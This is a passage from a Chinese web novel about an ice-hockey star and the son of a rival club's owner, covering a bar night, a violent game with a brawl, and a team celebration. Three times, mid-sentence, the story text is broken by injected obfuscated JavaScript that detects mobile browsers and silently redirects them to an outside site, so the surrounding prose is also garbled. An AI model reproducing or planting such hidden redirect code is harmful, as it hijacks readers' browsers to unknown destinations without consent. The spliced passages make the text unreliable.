“可以。”他说着,动作迅速地从西装内侧口袋里掏出手机,“不过赛季期间,我回消息不一定及时。” “我明白。”艾利奥特点头,没有追问,仿佛他们在进行一个很平常的商业会谈。 酒吧里有人在远处叫江砚的名字,他抬起头,只见洛根走了进来:“妲露拉给我们放假,咱可以先走了。” 洛根走到跟前才看出来江砚身边坐着的是艾利奥特,他脸上浮现出惊讶的神色:“啊,你也在这儿,莫里兰德先生。” “叫我艾利奥特就行,‘莫里兰德先生’听起来就像我爸。”艾利奥特冲着洛根露出同样甜甜的笑,“我们正在聊天,你也加入我们喝点东西嘛?” “不用了。”江砚推开喝了不到一半的精酿啤酒,“我们先回去准备一下,明天晚上还有比赛。” 洛根看向江砚,他其实有点想再点一杯别的,慈善晚会上的香槟根本就不合他的胃口。 “而且我也有点饿了,”江砚像是在找补什么似的,又加了一句,“晚会上只有点心,我们都没吃几口。附近有一家芝乐坊,不到十分钟就能走到。” 艾利奥特像是完全不介意今晚他和江砚这段对话的结束:“真可惜,等会我要再回去和我爸待到晚会结束,不能和你们一起过去了。”他礼貌又疏远地回答道。 江砚忽然意识到,自己居然有点说不清的失落。 他把这种感觉迅速压了下去:“没关系,回头见。”他拉着洛根,迅速离开了酒吧。 艾利奥特心满意足地转回身子,靠在吧台上抱着手里那杯“姜黄夜酌”特调,看着手机里保存的江砚的联系方式。 “你有病吧,大晚上去芝乐坊那个地方,我也想喝点东西。”洛根眼热地看着吧台上那杯看起来很诱人的精酿啤酒越来越远。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307911|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“去他大爷的芝乐坊,我需要找点乐子。”江砚紧紧揽着洛根的肩膀咬着牙说,“去temple。” 洛根收回眼神看着江砚的侧脸:“你不是说饿了吗?” “对。”江砚没好气地说,“我确实饿了。” ------------------------------------------------------ “嘿!砚!”洛根喊了两声,江砚猛地回过神来,“你还没恢复过来吗?” 米夏用胳膊狠狠地晃了晃江砚。 “我很好。”江砚向洛根点点头。 洛根放心不下地又看了他两眼,继续向队员们发表振奋人心的动员演讲。 江砚咬着护齿,闭上眼睛。 “你不至于这么绝望吧。” 江砚睁开眼睛,身边贴过来一个红发辣妹。 他摇摇头,仰头将一杯龙舌兰灌进嘴里,他甚至都懒得去吸吮那瓣青柠。 “大明星江砚,赛前来夜店买醉。”红发女郎暧昧贴上江砚的身子,“我猜你们运动员每到重大的比赛前都会这样放纵自己。” 江砚没有理会她,只是靠在吧台上示意酒保再给自己来一杯龙舌兰。 红发女郎精神抖擞地贴了江砚半天,最后只能讪讪离开。没过去几秒,又一个打着唇钉露着肚脐的男孩伴随着temple舞池里强劲的鼓点扭腰送胯地贴到江砚身上。 “好了,小子,想都别想。”洛根不知从哪儿冒出来,从后面一把把那个男孩拎到了一边去。 江砚仰头饮下另一杯烈酒。 “差不多了。”洛根伸手拦下想要再来一轮的江砚,“我们该结束了。” 江砚看着洛根:“他甚至都不愿意跟我一起多交流一会。”他似乎忘了眼前的不是米夏而是那个并不知道自己秘密的队长,“我原本以为他和我是一类人。” 洛根眨了眨眼:“好吧,你小子是真喝多了。”他毫不留情地一把把江砚从吧台前薅了过来。 “醒醒酒吧你!”洛根走过来敲了敲江砚的头盔,把他从依旧有点混沌的状态中唤醒,“今天要是在主场输给凯勒布,那就真的丢大人了。” 江砚花了一秒钟从宿醉中缓了过来:“你开什么玩笑?”他拿着球杆在手里转了一圈,“就算是喝到吐在头盔里,凯勒布也不是我的对手。” “你最好是。”洛根敲了敲江砚的头盔。 “呃……兄弟。”米夏靠在墙壁上,抬头看着挂在对面的电视屏幕,上面ESPN正在直播宝箱层里的贵宾,“你猜猜今天谁来包厢层看比赛了?” 江砚抬头看向电视:“大明星,然后呢?” “你继续看。”米夏不耐烦地说道。 竞技场内,热场的DJ正在播放SevenMinutesinHeaven。镜头扫过包厢层的几个身为霜咬队忠实球迷的好莱坞明星的身影,转到了倨傲地坐在沙发上的妲露拉和威廉·莫里兰德。 “他俩怎么也来了。”左前锋伊莱亚斯活动着肩颈走到米夏身边,“妲露拉平常才懒得来看我们比赛。” 米夏拿过遥控器放大声音,ESPN记者在问威廉·莫里兰德一些关于凯勒布·哈特将来的商业合作意向。 “我听说CCM签下了凯勒布·哈特,要不是为了宣传他们队的大明星,这个老白男也不会出现。”金诺亚扫了眼电视屏幕,摇摇头走开了。 江砚挑起眉毛。如果金诺亚说的是真的,凯勒布拿下了CCM的广告合约,那就说明Bauer的广告合约一定是自己拿到了。 可以,江砚顿时心情好了大半。没有人会对代表着大笔进账的广告合约有任何意见。 他把护齿塞进嘴里,握好球杆,等待着出门上场的指令。 “唉?这不是那个奶昔小子吗?他也来了?” 也不知道更衣室里谁嚎了一嗓子,米夏紧张地看向江砚。 江砚抬起头,眼神略过电视屏幕。 艾利奥特穿着和第一次去看冰球比赛时一模一样的西装出现在了包厢里,眼睛看向玻璃幕墙外看着冰场,丝毫没有注意到镜头正在拍摄自己。 江砚收回视线,深吸一口气,跟在洛根身后走出更衣室,踏向闪着明亮光芒的通道出口。 8. 08 孔雀开屏 「你上电视了。」 艾利奥特感受到了手机震动,将手中的圣培露放到一边,靠着玻璃幕墙旁边的吧台掏出手机。 「没想到你竟然会选择看电视,而不是在学习。」 艾利奥特都能想象出来海莉现在是什么模样:穿着明尼苏达大学文化衫,大大咧咧地坐在他公寓客厅的沙发上,身边摆着打开的披萨盒子,十根长长的水晶延长甲在手机屏幕上飞快地打着字。 「拜托,今天可是霜咬队主场,我不能错过乔什今天的比赛。希望今天他和凯勒布能给江砚好看。」 艾利奥特盯着海莉发来的江砚的名字,思考片刻,退出他俩的聊天界面。点开了昨晚新保存的江砚的聊天界面:上面只有两条无比简洁的互相打招呼的内容。 他叹了口气,关闭屏幕,丢在一边。坐在高脚椅上,手肘拄着桃花心木吧台,视线透过眼前的玻璃幕墙,膝盖不安地抖动着。 昨晚他已经用尽了浑身力气克制自己全程没有趴在江砚的身上问他一些可有可无的问题:你喜欢的颜色是什么?你喜欢喝哪个牌子的饮料?你洗澡时用的是哪一款香波?你现在的头发真好闻…… 艾利奥特猛地晃晃头,把那些不成熟的思想赶出自己的脑海。虽然这个世界没有明令禁止他对一个比自己还小三岁的冰球运动员如此狂热,但身为江砚所在球队死对头的俱乐部老板之子,表现得体还是第一要素。 看台上已经坐了将近80%的观众,科罗拉多的球迷们非常关注今天的比赛。冰场上方悬挂着的面向四面八方的屏幕正在播放霜咬队成员们的幕后采访镜头,江砚那张帅到惨绝人寰的脸时不时地在屏幕上一闪而过,每一次出现都会引起现场女球迷们一阵小小的尖叫。 “很不容易是吧,一个亚裔球员在美国有这么高的人气。” 艾利奥特转过头,只见妲露拉已经走到了他的身边,脸上挂着平和的微笑,手里端着一杯加冰波本威士忌。她看向大屏幕上的江砚时,满脸都是盖不住的骄傲。 “……是啊。”艾利奥特迅速换上社交场合下的标准微笑,“恭喜你们拥有这么优秀的人才。” “能挖到这么强的华裔冰球运动员是很难的事,大部分都是为了进藤校而打的。”妲露拉靠到吧台上,“说实话,当年我本人并不是很了解冰球,我连强打是什么都看不懂。但是我了解什么值得投资,而且我确定他肯定是我做的最成功的投资之一。” 艾利奥特挑挑眉,说实话很多人并不明白妲露拉为什么会投入进冰球这项对她来说并没有很赚钱的行业。目前公众所知,妲露拉最成功的产业是她之前创立的体育科技产业,主要是负责数据分析、球员健康、运动追踪。相对来说,NHL球队这种低现金流又高曝光的资产并不很适合她。 但是艾利奥特知道,他早就做过内部调研,妲露拉的妻子是一个目前尚未公开出柜的女性冰球运动员。 “你现在还是个孩子,我只希望你能成为一个比你父亲更适合这项产业的负责人。”妲露拉瞟了一眼坐在后面沙发上紧盯着手机屏幕皱着眉头的威廉·莫里兰德,“当年为了了解NHL的运作,我全北美跟下来的。” “你是个不可思议的人,女士。”艾利奥特这话的确是发自真心,虽然自己的命运已经被安排好接手嚎狼队的俱乐部,但他目前除了对江砚的狂热情绪之外,他对冰球的所有了解只来自于自己妹妹和几天前在迪士尼+上观看的《冰上奇迹》。 这时,竞技场内停止播放音乐,MC开始播报身为客场队的嚎狼队的出场。 “不说了,好好看比赛吧。”妲露拉拍了拍这个年轻的企业继承人的肩膀,走到后面的酒吧那边再续一杯。 乔什·贝内特滑出客场通道,艾利奥特可以用余光瞟到自己的手机在不停震动。很明显海莉在电视上看到了乔什出场,正在跟自家老哥发送尖叫语音。 凯勒布·哈特作为明星球员压轴出场,全场宛如当初霜咬队在圣保罗主场时一样,发出喝倒彩的“Boooooo——” 艾利奥特再一次无意识地开始咬手指甲。 场馆内灯光忽然变得微暗,四周的音响开始播放风声、雷声与EDM混音。冰场上方的大屏幕播放科罗拉多雪崩、雪狼、冰裂纹的特效视频。 现场的观众们随着节奏拍手大喊: “LET’SGOFROSTBITE!” “GO!BITE!GO!BITE!” 这时,冰面投影呈现巨大冰川裂谷,裂缝一路延伸至主场球员通道。 灯光如极光般扫过观众席,全场响起AC/DC的“Thunderstruck”,雷声引爆全馆。MC大声嘶吼: “COLORADOOO——READYFORTHEFROSTBITE——!!?” 科罗拉多——准备好迎接霜咬队了吗!!!? 此时响起第一声“Thunder!!” 整个竞技场内的音浪震得地板都在抖。 霜咬队全队从主场通道中滑出,冰刀划出如霜刃的亮线。但每个人特意留出一个空档—— ——为“那个人”的登场预留。 「真是给他太大排场了。」艾利奥特点开海莉发给他的信息,「有这个必要吗?」 艾利奥特刚想回复海莉「话不能这么说……」,忽然原本场馆内亮起来的光又一次暗了下去,他慌忙把手机放到一边。 场馆屏幕开始播放雪狼奔袭、暴风雪卷起、冰川崩裂、雷电撕裂山脉等等做足了氛围的画面。 MC的声音低沉又拉长: “第15号球员……来自中国……真正的王牌……” “JIANG——YAN——!!!” 江——砚——!!! 冰面正中央打下一束孤独的蓝白聚光,通道喷出白色冷雾,激光化成狼形轮廓,投影在通道口。 下一秒,江砚从狼形光影中滑出。冰蓝色队服在灯光下像刀刃在反光。他抬起头来,全场尖叫爆炸。 观众高喊: “江砚!江砚!江砚!” 大屏幕上的特写镜头给到他:那紧绷又锋利的下颌线简直能把丹佛的雪山劈开。 灯光切成“科罗拉多三色”不停闪烁着,Thunderstruck的吉他riff再次在场馆内炸开。 艾利奥特几乎无法呼吸了,他的手无意识地抓着心脏部位的衬衫,手机被他捏在手心里,被偾张的脉搏不停地撞击着。海莉还在不停地发短信轰炸着他,也许是在骂江砚太出风头完全压过了嚎狼队吗?这不重要,重要的是—— ——江砚他停在冰场上,抬起头,眼神向着这边的包厢层投了过来。 艾利奥特好像被他锐利的视线看到了似的,脸颊一阵发烫,低头点开手机。果然海莉一口气发了好几条信息怒斥江砚太过装逼。艾利奥特做了几个深呼吸,给海莉回复说凯勒布的装逼程度并不比江砚低。 他再次抬起头来时,球员们已经分散开来三三两两在冰面上做着热身动作。艾利奥特的眼神一点也没分给自家的嚎狼队,他的眼珠子已经完完全全黏在了江砚身上。 江砚顺着冰场边缘滑动,贴近挡板检测这边的冰面顺滑程度。 “江砚!江砚!”一个狂热的女球迷几乎是整个人贴在挡板上,拍得亚克力挡板“砰砰”作响,举着一张写着几个大字的纸板,嘴里喊着他的名字。 江砚对她很眼熟,她是自己的一个忠实粉丝。几乎每一场冰球比赛她都会出现在冰场旁边的vip坐席上近距离观看。有几次他的冰球打出场飞进了vip席时,她一个飞扑过去三拳两脚就给抢了过来。她在自己的粉丝论坛是出了名的。 他凑了过去,只见她手里举着的纸板上写着:“你可以给我一个签名的冰球吗?” 一般来说他不怎么和狂热球迷有太过近距离的接触。但是今天他莫名其妙有了点别的想法。 江砚没有停下,继续滑行,在经过替补席时,顺手从器材箱旁捞起了一枚备用冰球。 那个女球迷的反应极快,立刻将一支早已准备好的金色签名笔从挡板顶端抛了进来。 江砚抬手接住,笔在掌心转了一下,几乎没有减速,在冰球表面落下一个利落的签名。 下一秒,他手腕一扬,那枚冰球和签字笔一起越过挡板,稳稳落回到她怀里。 看台上爆出一阵短促而尖锐的欢呼。 女球迷显然还没从这份惊喜里回过神来,又把一小盒包装精致的巧克力举过头顶,几乎是用尽力气丢向冰面。 江砚滑行到位,单手接住,甚至没有低头确认,顺势就把那盒巧克力塞进了替补席后方的置物篮里。 他重新回到场上,速度没有丝毫放慢。仿佛这一切,只是一个微不足道的插曲。 “真是冰场上的唐璜。”艾利奥特听到包厢里有人在小声议论这一幕,“和女球迷调情这件事他简直就是信手拈来。” 艾利奥特呆呆地看着江砚滑回自己的位置,裁判拿着冰球滑向冰场中央。 江砚甚至没有刻意去“回应”任何人。他只是站在那里,世界就自动朝他涌了过去。 艾利奥特不愿意承认在他意识到这一点时,心脏里那一阵莫名其妙地失重感,仿佛直直地落进了一个深渊。 一声哨响,比赛开始了。 ------------------------------------------------------ “砰!” 江砚被凯勒布用尽全力撞到冰场边缘的挡板上,透明亚克力板剧烈震颤,发出令人牙酸的声响。 “不好意思,身体不受控制。”凯勒布恶狠狠地贴近江砚耳畔说道。 江砚没有作声,心里默念着上场之前从纪录片里了解到的“蜗牛是雌雄同体”冷知识,抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307912|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷淡地看了凯勒布一眼。 裁判的哨声没有响起,这是一次干净、合法、甚至称得上教科书级别的身体对抗,观众们最爱看这个。 凯勒布顺势伸杆,想要把球从江砚脚下挑走。就在他以为得手的一瞬间,江砚的右脚猛地向内一扣,冰刀刃划出一道利落的弧线。他整个人贴着挡板旋身,肩膀擦着凯勒布的护具滑过,手腕一抖,球被他牢牢护在身侧。 凯勒布的球杆落空了。 “操。”他低声骂了一句。 江砚没有给他第二次机会。 他贴着挡板加速,两步之内完成换刃,强行从狭窄的空间里挤出半个身位。凯勒布立刻追上来,两人肩并肩滑行,护具不断相互碰撞,发出沉闷而连续的撞击声。 冰屑在他们脚下炸开。 这是典型的前锋肉搏区间——速度被压到最低,力量和核心稳定性成了唯一的胜负手。 凯勒布试图用身体再次封死路线,江砚却在这一刻突然降速。他不是被逼停,而是自己选择主动放慢。凯勒布的重心因此不得不微微前倾。 没错,要的就是这一瞬。 江砚猛地抽回球杆,冰球从两人之间的缝隙被他挑出,贴着冰面滑向中路。他自己则借着凯勒布前冲的力道向外侧一闪,整个人像是从对方的影子里脱身而出。 “漂亮!” 霜咬队替补席的球员们传来一声怒吼。 凯勒布猛地回头,却只看到江砚已经重新加速的背影。他继续扫射霜咬队那半边球场,寻找另一个突破口。 米夏正半蹲在自家门线前,稳稳封住角度。察觉到凯勒布的视线,他慢悠悠地抬起手,用夸张的动作拍了拍自己的护腿。竖起大拇指,又缓缓地,倒了下来。米夏咧开嘴,露出一个毫不掩饰的坏笑,还对着凯勒布眨了下眼。 赤裸裸的挑衅,低级。 凯勒布的脸色沉了下去。他猛地转身回防,而江砚已经带球切入高位,视野完全打开。两人的目光在冰场中央短暂交汇,没有言语。 只有彼此都心知肚明的怒火。 江砚抬杆假射,凯勒布下意识压低重心封堵射门路线。就在这一瞬间,江砚手腕一翻,把球横敲给及时上来的伊莱亚斯。 配合完成。 凯勒布反应过来,牙关瞬间咬紧:奶奶的,他被算计了。 但是已经来不及了:球已经擦边滑进自家的球门。 看台上响起了如浪潮般的呐喊与喝彩。DJ也适时地播放Kernkraft400的remix版来配合这一热血氛围。 “嘿!”江砚摘下头盔,这会已经到了他下场进替补席的时候,忽然听到后面看台上一个特意赶过来看比赛的嚎狼队球迷在喊他的名字,“你这个恶心的中国佬!” 江砚看着这个破大防的超重老白男冲着自己故意拉两边眼角做出眯眯眼神态的样子,哑然失笑。他手套也没摘,随手扶了一把自己的裤/裆,冲着老白男一指。 替补席上的队友们和附近的霜咬队球迷们哈哈大笑,特写镜头非常适时地对准了江砚意气风发、滴着汗水的帅脸。江砚也明白镜头正怼在自己脸上,所有人都在看他,包括那个坐在包厢里的人。 想也没想,他冲着镜头来了个wink。 “真是个自大狂。”威廉·莫里兰德走到了艾利奥特身边,看着大屏幕上江砚孔雀开屏的模样摇摇头,“凯勒布遇到江砚真是算他倒霉,处处被压一头。” 海莉的信息也出现在了艾利奥特手机上: 「我真是服了,明明这一个多月来嚎狼队已经状态越来越好了,结果一遇到霜咬队就失利。」 艾利奥特关闭了手机屏幕:“爸,”他清了清嗓子,努力压抑因为心跳过快而带来的声音颤抖,“我想在这场结束之后跟你请个长假。” “哦?”威廉转头看他。“你有什么事要去忙吗?” “嗯,”艾利奥特点头,“是关于咱们家球队的。” 威廉看着他,等着听他的理由。 “我想让你安排一个冰球顾问和我一起跟随霜咬队接下来在北美的行程,对他们进行一个全方面的了解。”艾利奥特直视着他父亲的双眼,“当我说全方面的时候,我真的指的是‘全方面’。从训练项目、到衣食住行。这是我们嚎狼队目前最大的绊脚石,我们不能忽视他们。” 威廉笑了:“我挺惊讶你愿意亲自去做这种事,一般来说这是轮不到你这种地位的人来干的。” “我也想亲自了解冰球的方方面面嘛。”艾利奥特这样说着,余光心虚地扫了一眼不远处正在和别人谈话的妲露拉。 “既然你都这样说了,那就这样安排吧。”威廉欣慰的拍上艾利奥特的肩膀,“这场结束后,你还跟我一起回圣保罗吗?” “不了。”艾利奥特摇摇头,眼神再次投向坐在替补席里仰头喝水的江砚,视线跟着他的喉结上下滚动,“我有自己的安排。” 9. 09 纱布 第三节还剩不到10分钟,比分被拉成了3:3。 此刻如果你在位于丹佛的鲍尔竞技场内的空气中划着一根火柴,整个场馆都随之爆炸。 嚎狼队一次又一次试图把节奏拖进他们熟悉的身体对抗里。凯勒布·哈特在边板附近死死卡住江砚,肩膀压上来时毫不收力,冰刀几乎贴着江砚的内侧刮过去。 “起开(F*ckoff)。”江砚似乎已经忘掉了关于蜗牛的冷知识,咬牙骂了一句。 凯勒布却笑了,球杆横着一挡,刻意把球护在身后:“怎么?大明星就这点能耐?” 下一秒,凯勒布猛地一个反向切步,肩部护甲直接撞进江砚的胸口。“砰”的一声,整块挡板都跟着两人猛烈震动。 江砚被撞得在冰面上后退半步,脚下稳住的瞬间,怒意终于冲破最后防线释放出来。他反手一勾球杆,把球挑走的同时,肩膀直接凶狠地顶了回去。 裁判的哨子已经含在嘴里,愤怒地指着他们俩:“过会才进广告时间!你们到时候再闹!” 但凯勒布没打算收,他的脾气似乎是跟江砚的怒气成正比的,他猛冲上去狠狠推了一把江砚的胸口。 江砚立刻抬手,“啪”地将头盔扯了下来,摔在冰面上滑出老远。紧接着两只厚重的手套也被他摘了下来。 全场瞬间哗然,所有人都知道接下来要发生什么。 那一刻,江砚什么都没想。他直接抬手揪住凯勒布的球衣前襟,拳头毫不犹豫地挥了出去。护具与护具撞击的闷响在冰场上炸开,凯勒布踉跄了一下,迅速反应过来立刻回拳。 两个人像是彻底失控的野兽,球杆被甩到一边,手套散落在冰面上。 裁判滑了过来,站在一边冷静地看着他俩打成一团。 “Fight!Fight!Fight!Fight!”全场观众们丝毫没有担心他们中会有任何一人受伤,都在拍着手起哄架秧子,期待能看到更多冰面全武行。 洛根急速冲了过来:“够了!江砚!”他一边吼,一边试图从侧面卡住江砚的肩膀,把人往后拖,“我们没时间胡闹了!” 就在这时,凯勒布一个失衡,被推搡着往后退去。而嚎狼队的守门员正从门前滑出来想隔开冲突,江砚的手肘在混乱中甩开,误打误撞地撞上了对方的面罩。 嚎狼队守门员闷哼一声,直接摔倒在蓝漆区里。 这一下,彻底点燃了嚎狼队。 “他动了我们的门将!” 几乎是同时,三四名嚎狼队球员从不同方向扑了上来。冰刀刮冰的声音乱成一片,有人从背后抱住江砚的腰,有人试图把他按倒在冰面上。 洛根被一群大个子“哐”地挤到一边,他咬着牙从冰面上爬起来,还想往里冲,企图解救出来自家队里的王牌。 “Блять!(操!)”米夏看到好哥们被一堆嚎狼队球员按在身下,脑袋一热丢了球杆从自家球门那头直接冲了过来,“Нетрогайего,сука!(别碰他,狗/娘/养的!)” 他根本没管自己守门员的身份,冲进人堆里一把推开对方后卫,浑身的护甲再加上身高和体重的优势在这时候完全显现出来。 “Ятебеебалосломаю!(我他*把你脸给你打烂!)” 场面彻底失控。 球员们纠缠成一团,有人摔倒在冰面上,有人被拖着滑出好几米远。裁判的哨声已经完全压不住,全场观众的嘘声与吼叫混成一片。 直到两名裁判和线裁一起冲进来,硬生生把人一对一分开。 江砚被拉走时,鼻梁骨那一块和嘴角已经破了皮,血顺着下巴滴在冰面上。他喘着气,胸腔剧烈起伏,却仍然死死盯着凯勒布。 凯勒布的护目镜歪了,额头一片通红,他被洛根拽起身来,隔着混乱的人群回望向江砚,眼神里却带着一种近乎兴奋的冷光。 裁判主动叫停医疗介入。 “这值得吗?凯勒布·哈特?值得你这样做吗?”裁判们已经聚到一起讨论针对凯勒布和江砚的处罚,洛根对着面前这个和江砚一样年轻气盛的对方右前锋失控大吼道。 “用你来教育我?”凯勒布抬胳膊把洛根的手甩到一边,“圣人洛根是吧?” 他语带嘲讽地撂下这句话,转身向着替补席滑去。洛根只感觉一阵头痛,转身去找自己的球队。 江砚坐在替补席上,队医在他身边用镊子夹着酒精棉给他擦拭伤口。脸上血迹让他这张脸看起来更具攻击性了。他浓黑的双眼死死盯着头顶的计分器,似乎下一秒就恨不得把嚎狼队撕扯成碎片。 比赛被迫暂停,DJ为了活跃气氛,开始播放OllyMurs的“Troublemaker”。 “怎么样?”洛根滑到替补席跟前,趴在护栏上看着江砚这张血淋淋的脸,“还能打吗?” “当然能。”江砚咬着牙恶狠狠地说道,“我要干/死他们。” 他的视线从计分器移到对面的受罚席,凯勒布被裁判示意离场进入受罚席,江砚也必须在完成简单的止血操作后同样进入受罚席。凯勒布像个焦躁的小老虎一样在那个透明的小隔间内站起坐下。 江砚从身边的球队管理师手中接过水壶,给自己灌了一口水,扯动受伤的嘴角疼得倒抽一口冷气。 “干/死凯勒布、干/死嚎狼队、干/死这个3:3、干/死……”还没等江砚默念完心里的干/死名单,对面受罚席透明挡板后面出现的人影扰乱了他的思绪。 “嘿!”艾利奥特不知什么时候从包厢层走了下来,来到了受罚席后面,轻轻敲了敲透明挡板,“你还好吗?”他用口型示意道。 凯勒布把护齿从嘴里摘了出来:“好的不能再好了。”他的口型是这么示意的,腿却不自觉地因为焦虑而抖动。 艾利奥特冲他露出一个温暖的抚慰人心的笑容:“没关系!”他继续用口型示意道,并且举起双手在透明挡板上比出一个“1”和一个“5”。 凯勒布明白,艾利奥特是在告诉他:嚎狼队已经在目前的赛季里拿下6分总分,三胜四负。他这个王牌,不用太过担心,成绩还没差到舆论崩塌的地步。 凯勒布冲着艾利奥特咧嘴一笑,被江砚揍得淤青的嘴角一阵生疼。 “呸!”江砚在冰场另一端,看着互相笑着的艾利奥特和凯勒布,朝地板上吐了口混着鲜血的唾沫。站起身来拿起球杆,走向属于他的受罚席。 ------------------------------------------------------ 这场比赛最终以霜咬队vs嚎狼队“4:3”的成绩结束。江砚在比赛最后一分钟进了他这一场的第三个球,宛若冰球之神上身一般。霜咬队的球迷们在比赛结束后疯狂往冰面上丢帽子,像下了一场突兀的雨。而嚎狼队退场时DJ也故意播放起“Sally,WhenTheWineRunsOut”里的桥段,极尽讽刺之能事: “Ahshit,herewegoagain 唉,又来一遍, I''mfallingheadfirst 我无法抵挡, Ankleshitthetwo-step 跟随节拍起舞, Sallymakesmyheadhurt 萨莉令我如痴如醉。 Heardthroughthegrapevine 耳闻葡萄藤下的传言, Shecanbeadiva 她就像位皇后, ColdlikeMinnesota 冷漠犹如明尼苏达的冬寒, Hotterthanafever 炽烈犹如燃烧的高烧。” 霜咬队的队员们更是兴致高涨,冲着嚎狼队那边一边蹦跳一边高歌这一段,差点又一次引起斗殴事件。 “等着吧,一群傻/逼!”凯勒布扑到旁边一个队友的肩上,撑起自己身子冲着霜咬队竖起中指,“你们也就这会子得意了!等你们遇到底特律红齿轮队(RedGears)吧!!你们这辈子也赢不了他们!!” “好了,好了!”乔什走上来一把把疯狂炸毛的凯勒布薅了下来,“你何必和他们这群人置气呢?他们只是想激怒我们罢了。” “是啊。别生气了。”身边的队友们也在安慰凯勒布,“等会还要坐飞机回明尼苏达,别因为这群傻哔气坏身子。” “凯勒布说的底特律红齿轮队是什么意思?”艾利奥特站在球队通道附近目送球员们退场,不解地向嚎狼队教练问道。 “红齿轮队是霜咬队最大的宿敌,”教练耸耸肩,“和红齿轮队比起来,我们对于霜咬队来说不过是小打小闹。每次霜咬队对上红齿轮队,一次都没赢过。” “今年他们应该也会遇上红齿轮吧。”艾利奥特看过的冰球比赛不多,但江砚在霜咬队的每一场他都看过回放。霜咬队在去年赛季对阵红齿轮队貌似确实没有赢过。 “估计又是一场恶战。”教练点点头,“而且今年有一个巴西裔的左前锋转会到了红齿轮,霜咬队前景不妙啊。” “巴西裔?”艾利奥特诧异地看向教练,“那么热的地方都有人打冰球?” “并不是只有靠近北极圈的人会打冰球,小莫里兰德先生。”教练看着天真的艾利奥特笑出了声,“不过能从这么炎热的国度打进NHL,这可比普普通通又一个加拿大白人前锋的成绩能拿得出手太多了。” 教练亲眼看着最后一个球员也离开了通道,转向身后的艾利奥特:“那么小莫里兰德先生,你当真不跟着我们一起走了?” 艾利奥特站在原地摇摇头:“我在丹佛有事要忙,等会还要去见个人。你们和我父亲先一起回圣保罗吧。” 教练不再挽留,和艾利奥特道别后便匆匆离开。 艾利奥特目送着装载着嚎狼队球员的大巴车离开竞技场后,掏出手机,果然父亲帮他联系的那个人已经出现在屏幕上。 ------------------------------------------------------ 霜咬队的队员们并没有回到自己住所养精蓄锐。又一次打赢他们的宿敌球队之一,让他们血脉偾张。一群无法静下来的大小伙子在简单地冲了个澡换了身衣服后,一起去了希尔顿酒店附近的GuardandGrace牛排馆进行庆祝。 “敬江砚!”霜咬队的球员们集体举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307913|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起精酿啤酒的杯子,“今天完成了‘帽子戏法’!!你简直就是神!!” 江砚耳根有些发烫,他不敢说自己是看到艾利奥特和凯勒布如此亲密的聊天后一阵怒气上涌才会神兵天降一般把他的第三粒球送进对方球门的。他低下头,假装谦逊地摸了摸还糊着厚厚纱布的鼻梁。 坐在他身边的米夏看起来没有比他好到哪里去,他被嚎狼队的队员结结实实赏了个乌眼青,门牙也少了一颗,此刻他正咧着大嘴笑得像个傻子。 “我觉得你的脑袋似乎被对面给揍坏了。”江砚端着啤酒杯和米夏碰了碰。 “你也没有好到哪里去。”洛根在另一边没好气地说道,他依旧很生气江砚今天没有控制好自己的脾气。但江砚今天拿下了三分,洛根又说不出任何重话来斥责他,只能重重地叹气,“你有必要跟那个凯勒布针锋相对到这个地步吗?” “当然!我们江砚不仅要干/死凯勒布!还要干/死和凯勒布聊天的那个小白脸!”米夏喝多了,冲着洛根口齿不清地说道,“哥们,我支持你,就算你跟我说他和你不是一路人,但是我知道你想上他。去!把他往死里干!” “他说什么呢?”洛根皱着眉头看着米夏。 “被打傻了。”江砚压制住狂跳的心脏,一边偷偷打量洛根是不是听出什么端倪来,一边抓起一把桌子上的椒盐薯角塞进米夏嘴里,“别理他。” 而洛根脸上怀疑的神情似乎不见消散,江砚尴尬地咳嗽两声,站起身来:“我去上个厕所。”说罢,逃也似的冲向男卫生间。 GuardandGrace的洗手间隔音效果还算不错,进来之后听不太清楚外面霜咬队队员们的大声喧哗。江砚站在洗手台跟前,看着镜子里自己这张挂彩的脸,龇牙咧嘴地抬手去整理鼻梁上的纱布。 凯勒布这个□□崽子下手真狠啊,那是真抡圆了拳头往江砚鼻梁上揍。 江砚感觉鼻梁内部火辣辣的疼,似乎堵着一大堆粘稠的血无法疏通。他低头在水龙头处接了点凉水,往自己的鼻梁上扑,企图让那股滚烫的痛楚减轻一点。 “你的伤还是很严重对不对?” 耳边似乎响起了那个漂亮男孩的声音。江砚自嘲一笑:还是凯勒布这招狠,三拳两脚招呼在他脑袋上把幻觉都给打出来了。 “要不要我去吧台给你要点冰块?” 一只冰凉的手伸到了江砚脸侧。 江砚瞬间警觉,身子猛地弹起,一把抓住那只相对来说比较细的手腕。 